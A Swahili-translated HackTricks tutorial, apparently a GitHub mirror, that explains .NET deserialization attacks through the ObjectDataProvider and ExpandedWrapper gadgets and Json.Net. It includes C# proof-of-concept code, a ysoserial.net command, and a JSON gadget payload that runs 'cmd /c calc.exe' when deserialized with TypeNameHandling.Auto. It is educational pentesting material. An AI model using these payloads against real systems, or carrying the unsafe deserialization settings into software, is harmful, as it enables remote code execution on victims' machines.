mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
207 lines
10 KiB
Markdown
207 lines
10 KiB
Markdown
# Msingi wa deserialization ya .Net (gadget ya ObjectDataProvider, ExpandedWrapper, na Json.Net)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
Machapisho haya yanajitolea kuelewa jinsi **gadget ya ObjectDataProvider inavyotumiwa** kupata RCE na **jinsi** maktaba za **Serialization kama Json.Net na xmlSerializer zinavyoweza kutumiwa vibaya** na gadget hiyo.
|
|
|
|
## Gadget ya ObjectDataProvider
|
|
|
|
Kutoka kwenye nyaraka: _Darasa la ObjectDataProvider hufunga na kuunda kitu unachoweza kutumia kama chanzo cha kufunga_.\
|
|
Ndio, ni maelezo ya ajabu, kwa hivyo tutaona kipi kinafanya darasa hili kiwe cha kuvutia: Darasa hili linaruhusu **kufunga kitu cha kupendelea**, kutumia _**MethodParameters**_ kuweka **parameta za kupendelea,** na kisha **tumia MethodName kuita kazi ya kupendelea** ya kitu cha kupendelea kilichotangazwa kwa kutumia parameta za kupendelea.\
|
|
Kwa hivyo, **kitu cha kupendelea** kitafanya **kazi** na **kazi** na **parameta wakati wa deserialization.**
|
|
|
|
### **Hii inawezekanaje**
|
|
|
|
Jina la **System.Windows.Data**, lililopatikana ndani ya **PresentationFramework.dll** kwenye `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, ndio mahali ambapo ObjectDataProvider inafafanuliwa na kutekelezwa.
|
|
|
|
Kwa kutumia [**dnSpy**](https://github.com/0xd4d/dnSpy) unaweza **kupekua msimbo** wa darasa tunalovutiwa nalo. Katika picha hapa chini tunauona msimbo wa **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Jina la kazi**
|
|
|
|
.png>)
|
|
|
|
Kama unavyoweza kuona wakati `MethodName` inawekwa `base.Refresh()` inaitwa, hebu tuangalie inafanya nini:
|
|
|
|
.png>)
|
|
|
|
Sawa, tuendelee kuona inafanya nini `this.BeginQuery()`. `BeginQuery` inabadilishwa na `ObjectDataProvider` na hii ndio inayofanya:
|
|
|
|
.png>)
|
|
|
|
Tambua kuwa mwishoni mwa msimbo inaita `this.QueryWorke(null)`. Hebu tuone inafanya nini:
|
|
|
|
.png>)
|
|
|
|
Tambua kuwa huu si msimbo kamili wa kazi ya `QueryWorker` lakini unaonyesha sehemu ya kuvutia: Msimbo **unaita `this.InvokeMethodOnInstance(out ex);`** hii ndio mstari ambapo **kazi iliyowekwa inaitwa**.
|
|
|
|
Ikiwa unataka kuhakikisha kuwa kwa kuweka _**MethodName**_\*\* itatekelezwa\*\*, unaweza kukimbia msimbo huu:
|
|
```java
|
|
using System.Windows.Data;
|
|
using System.Diagnostics;
|
|
|
|
namespace ODPCustomSerialExample
|
|
{
|
|
class Program
|
|
{
|
|
static void Main(string[] args)
|
|
{
|
|
ObjectDataProvider myODP = new ObjectDataProvider();
|
|
myODP.ObjectType = typeof(Process);
|
|
myODP.MethodParameters.Add("cmd.exe");
|
|
myODP.MethodParameters.Add("/c calc.exe");
|
|
myODP.MethodName = "Start";
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Tafadhali kumbuka unahitaji kuongeza kama kumbukumbu _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ ili kupakia `System.Windows.Data`
|
|
|
|
## ExpandedWrapper
|
|
|
|
Kutumia shambulio lililopita kutakuwa na hali ambapo **kitu** kitakuwa **kimefanyiwa deserialization kama** kipengele cha _**ObjectDataProvider**_ (kwa mfano katika udhaifu wa DotNetNuke, kutumia XmlSerializer, kitu kilifanyiwa deserialization kwa kutumia `GetType`). Kisha, **hakutakuwa na ufahamu wa aina ya kitu kilichofungwa** katika kipengele cha _ObjectDataProvider_ (kama vile `Process`). Unaweza kupata habari zaidi [kuhusu udhaifu wa DotNetNuke hapa](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
|
|
|
Darasa hili linaruhusu **kutaja aina za vitu** ambavyo vimefungwa katika kipengele kilichopewa. Kwa hivyo, darasa hili linaweza kutumika kufunga chanzo cha kitu (_ObjectDataProvider_) katika aina mpya ya kitu na kutoa mali tunazohitaji (_ObjectDataProvider.MethodName_ na _ObjectDataProvider.MethodParameters_).\
|
|
Hii ni muhimu sana kwa hali kama ile iliyowasilishwa hapo awali, kwa sababu tutaweza **kufunga _ObjectDataProvider_** ndani ya kipengele cha _**ExpandedWrapper**_ na **wakati wa deserialization** darasa hili litasababisha kitu cha _**OjectDataProvider**_ ambacho kitatekeleza **kazi** iliyotajwa katika _**MethodName**_.
|
|
|
|
Unaweza kuangalia kifungashio hiki na nambari ifuatayo:
|
|
```java
|
|
using System.Windows.Data;
|
|
using System.Diagnostics;
|
|
using System.Data.Services.Internal;
|
|
|
|
namespace ODPCustomSerialExample
|
|
{
|
|
class Program
|
|
{
|
|
static void Main(string[] args)
|
|
{
|
|
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
|
|
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
|
|
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
|
|
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
|
|
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
|
|
myExpWrap.ProjectedProperty0.MethodName = "Start";
|
|
}
|
|
}
|
|
}
|
|
```
|
|
## Json.Net
|
|
|
|
Kwenye [ukurasa rasmi](https://www.newtonsoft.com/json) inaonyeshwa kuwa maktaba hii inaruhusu **Kutunga na kusahihisha kitu chochote cha .NET na serializer yenye nguvu ya JSON ya Json.NET**. Kwa hivyo, ikiwa tunaweza **kusahihisha kifaa cha ObjectDataProvider**, tunaweza kusababisha **RCE** kwa kusahihisha kitu.
|
|
|
|
### Mfano wa Json.Net
|
|
|
|
Kwanza kabisa tuchunguze mfano wa jinsi ya **kusahihisha/kusahihisha** kitu kutumia maktaba hii:
|
|
```java
|
|
using System;
|
|
using Newtonsoft.Json;
|
|
using System.Diagnostics;
|
|
using System.Collections.Generic;
|
|
|
|
namespace DeserializationTests
|
|
{
|
|
public class Account
|
|
{
|
|
public string Email { get; set; }
|
|
public bool Active { get; set; }
|
|
public DateTime CreatedDate { get; set; }
|
|
public IList<string> Roles { get; set; }
|
|
}
|
|
class Program
|
|
{
|
|
static void Main(string[] args)
|
|
{
|
|
Account account = new Account
|
|
{
|
|
Email = "james@example.com",
|
|
Active = true,
|
|
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
|
|
Roles = new List<string>
|
|
{
|
|
"User",
|
|
"Admin"
|
|
}
|
|
};
|
|
//Serialize the object and print it
|
|
string json = JsonConvert.SerializeObject(account);
|
|
Console.WriteLine(json);
|
|
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
|
|
|
|
//Deserialize it
|
|
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
|
|
Console.WriteLine(desaccount.Email);
|
|
}
|
|
}
|
|
}
|
|
```
|
|
### Kutumia Json.Net
|
|
|
|
Kwa kutumia [ysoserial.net](https://github.com/pwntester/ysoserial.net) niliumba shambulizi:
|
|
```java
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
|
{
|
|
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
|
'MethodName':'Start',
|
|
'MethodParameters':{
|
|
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
|
'$values':['cmd', '/c calc.exe']
|
|
},
|
|
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
|
}
|
|
```
|
|
Katika msimbo huu unaweza **jaribu kudukua**, tu endesha na utaona kwamba kikokotoo kinatekelezwa:
|
|
```java
|
|
using System;
|
|
using System.Text;
|
|
using Newtonsoft.Json;
|
|
|
|
namespace DeserializationTests
|
|
{
|
|
class Program
|
|
{
|
|
static void Main(string[] args)
|
|
{
|
|
//Declare exploit
|
|
string userdata = @"{
|
|
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
|
'MethodName':'Start',
|
|
'MethodParameters':{
|
|
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
|
'$values':['cmd', '/c calc.exe']
|
|
},
|
|
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
|
}";
|
|
//Exploit to base64
|
|
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
|
|
|
|
//Get data from base64
|
|
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
|
|
//Deserialize data
|
|
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
|
|
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
|
|
{
|
|
TypeNameHandling = TypeNameHandling.Auto
|
|
});
|
|
}
|
|
}
|
|
}
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikitangazwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya zaidi la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **fuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|